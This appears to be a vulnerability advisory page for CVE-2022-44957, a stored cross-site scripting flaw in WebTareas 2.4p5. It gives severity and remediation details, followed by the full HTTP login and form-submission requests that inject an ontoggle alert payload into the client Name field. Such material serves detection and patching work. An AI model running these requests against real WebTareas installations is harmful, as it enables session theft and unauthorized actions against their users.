| Title | WebTareas 2.4p5 - Cross-Site Scripting |
|---|---|
| Author | theamanrawat |
| Severity | Medium |
| Impact | Authenticated attackers can inject malicious JavaScript through the client Name field, potentially stealing session tokens and performing unauthorized actions on behalf of other WebTareas users. |
| Remediation | Update webtareas to a version newer than 2.4p5 that properly sanitizes the Name field input and encodes output in listclients.php. |
| CVSS Score | 5.4 |
| EPSS Score | 0.01842 |
| CVE ID | CVE-2022-44957 |
| CWE ID | CWE-79 |
| Tags | cve cve2022 xss webtareas authenticated intrusive webtareas_project vuln |
webtareas 2.4p5 was discovered to contain a cross-site scripting (XSS) vulnerability in the component /clients/listclients.php. This vulnerability allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Name field.
POST /general/login.php?session=false HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15
Connection: close
Content-Length: 538
Content-Type: multipart/form-data; boundary=---------------------------3023071625140724693672385525
Accept-Encoding: gzip
-----------------------------3023071625140724693672385525
Content-Disposition: form-data; name="action"
login
-----------------------------3023071625140724693672385525
Content-Disposition: form-data; name="loginForm"
koFUSO
-----------------------------3023071625140724693672385525
Content-Disposition: form-data; name="passwordForm"
qsLcCn
-----------------------------3023071625140724693672385525
Content-Disposition: form-data; name="loginSubmit"
Log In
-----------------------------3023071625140724693672385525--
GET /clients/editclient.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Connection: close
Accept-Encoding: gzip
POST /clients/editclient.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.3
Connection: close
Content-Length: 2485
Content-Type: multipart/form-data; boundary=---------------------------34025600472463336623659912061
Accept-Encoding: gzip
-----------------------------34025600472463336623659912061
Content-Disposition: form-data; name="csrfToken"
Pje92F
-----------------------------34025600472463336623659912061
Content-Disposition: form-data; name="action"
add
-----------------------------34025600472463336623659912061
Content-Disposition: form-data; name="cown"
1
-----------------------------34025600472463336623659912061
Content-Disposition: form-data; name="cn"
38FDj8fhUqM30LUJeXa0Gm2ul96<details/open/ontoggle=alert(document.domain)>
-----------------------------34025600472463336623659912061
Content-Disposition: form-data; name="add"
-----------------------------34025600472463336623659912061
Content-Disposition: form-data; name="zip"
-----------------------------34025600472463336623659912061
Content-Disposition: form-data; name="ct"
-----------------------------34025600472463336623659912061
Content-Disposition: form-data; name="cou"
-----------------------------34025600472463336623659912061
Content-Disposition: form-data; name="wp"
-----------------------------34025600472463336623659912061
Content-Disposition: form-data; name="fa"
-----------------------------34025600472463336623659912061
Content-Disposition: form-data; name="url"
-----------------------------34025600472463336623659912061
Content-Disposition: form-data; name="email"
-----------------------------34025600472463336623659912061
Content-Disposition: form-data; name="curr"
-----------------------------34025600472463336623659912061
Content-Disposition: form-data; name="wc"
1
-----------------------------34025600472463336623659912061
Content-Disposition: form-data; name="pym"
1
-----------------------------34025600472463336623659912061
Content-Disposition: form-data; name="pyt"
7
-----------------------------34025600472463336623659912061
Content-Disposition: form-data; name="c"
-----------------------------34025600472463336623659912061
Content-Disposition: form-data; name="ssc"
-----------------------------34025600472463336623659912061
Content-Disposition: form-data; name="file1"; filename=""
Content-Type: application/octet-stream
-----------------------------34025600472463336623659912061
Content-Disposition: form-data; name="attnam1"
-----------------------------34025600472463336623659912061
Content-Disposition: form-data; name="atttmp1"
-----------------------------34025600472463336623659912061--
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-44957.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-44957.pcap
N/AN/A